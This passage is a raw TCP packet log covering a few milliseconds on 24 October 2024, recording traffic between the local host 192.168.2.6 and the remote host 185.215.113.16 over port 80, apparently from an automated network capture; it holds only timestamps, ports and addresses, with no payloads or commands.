Oct 24, 2024 11:02:53.261478901 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.261492968 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.261502981 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.261517048 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.261527061 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.261555910 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.261935949 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.261989117 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262001038 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262016058 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262039900 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262073994 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262090921 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262105942 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262130976 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262140036 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262161016 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262167931 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262180090 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262195110 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262202024 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262216091 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262228966 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262248993 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262259960 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262274981 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262295961 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262304068 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262310982 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262324095 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262335062 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262347937 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262357950 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262375116 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262398958 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262409925 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262424946 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262437105 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262450933 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262461901 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262475967 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262485981 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262500048 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262510061 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262522936 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262533903 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262547016 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262557030 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262571096 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262583017 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262594938 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262604952 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262630939 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262638092 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262664080 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262672901 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262685061 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262696028 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262711048 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262720108 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262731075 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262743950 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262754917 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262763977 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262789965 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262798071 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262813091 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262833118 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262840033 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262849092 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262862921 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262872934 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262887001 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262901068 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262923956 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262931108 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262947083 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262953997 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262974977 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.262981892 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.262990952 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263004065 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263012886 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263025999 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263037920 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263058901 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263070107 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263086081 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263101101 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263113022 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263122082 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263135910 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263156891 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263170958 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263185978 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263197899 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263206959 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263222933 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263231039 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263245106 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263268948 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263279915 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263294935 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263307095 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263333082 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263345003 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263362885 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263382912 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263395071 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263402939 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263417959 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263443947 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263454914 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263470888 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263489962 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263497114 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263514996 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263521910 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263530970 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263544083 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263554096 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263571024 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263581038 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263593912 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263602972 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263617039 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263626099 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263639927 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263655901 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263665915 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263675928 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263689041 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263700008 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263715029 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263724089 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263737917 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263750076 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263766050 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263776064 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263787031 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263801098 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263820887 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263830900 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263847113 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263861895 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263871908 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263885021 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263904095 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263912916 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263927937 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263952017 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263967037 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.263973951 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.263987064 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264002085 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264019012 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264027119 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264043093 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264055014 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264072895 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264089108 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264096975 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264108896 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264125109 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264139891 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264152050 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264164925 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264174938 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264188051 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264204025 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264230013 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264236927 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264252901 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264267921 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264277935 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264292002 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264300108 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264312029 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264324903 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264338970 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264357090 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264374018 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264384031 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264400959 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264411926 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264425993 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264436007 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264448881 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264462948 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264483929 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264492035 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264508009 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264523029 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264533997 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264547110 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264564991 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264575005 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264600039 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264611959 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264625072 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264633894 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264657974 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264666080 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264681101 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264697075 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264707088 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264719963 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264729977 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264739990 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264755011 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264770031 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264780998 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264791012 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264816046 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264823914 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264837027 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264852047 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264861107 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264883041 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264894962 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264905930 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264919043 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264935017 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264944077 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264954090 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.264967918 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.264983892 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265002966 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265012026 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265027046 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265047073 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265053988 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265063047 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265075922 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265085936 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265110016 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265125036 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265150070 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265161037 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265172958 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265186071 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265197992 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265223026 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265232086 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265247107 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265261889 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265273094 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265291929 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265305996 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265312910 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265331984 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265352964 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265367985 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265376091 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265388966 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265407085 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265420914 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265431881 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265444994 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265455008 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265469074 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265480995 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265495062 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265502930 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265516996 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265528917 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265541077 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265551090 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265563965 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265573978 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265588999 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265599966 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265611887 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265620947 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265636921 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265646935 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265665054 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265676022 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265692949 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265702009 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265716076 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265727043 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265742064 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265754938 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265764952 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265774965 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265791893 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265801907 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265813112 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265830040 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265836000 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265846014 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265860081 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265878916 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265886068 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265893936 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265908003 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265918970 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265930891 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265948057 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265958071 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265966892 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.265981913 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.265993118 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.266005039 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.266015053 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.266028881 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.266041040 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.266052961 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.266064882 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.266077042 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.266088009 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.266100883 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.266110897 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.266124010 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.266134977 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.266148090 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.266159058 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.266171932 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.266181946 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.266195059 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.266206980 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.266217947 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.266230106 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.266243935 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.266252995 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.266267061 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.266278982 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.266292095 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.266302109 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.266314030 CEST	80	49887	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:53.266324997 CEST	49887	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:53.266338110 CEST	80	49887	185.215.113.16	192.168.2.6
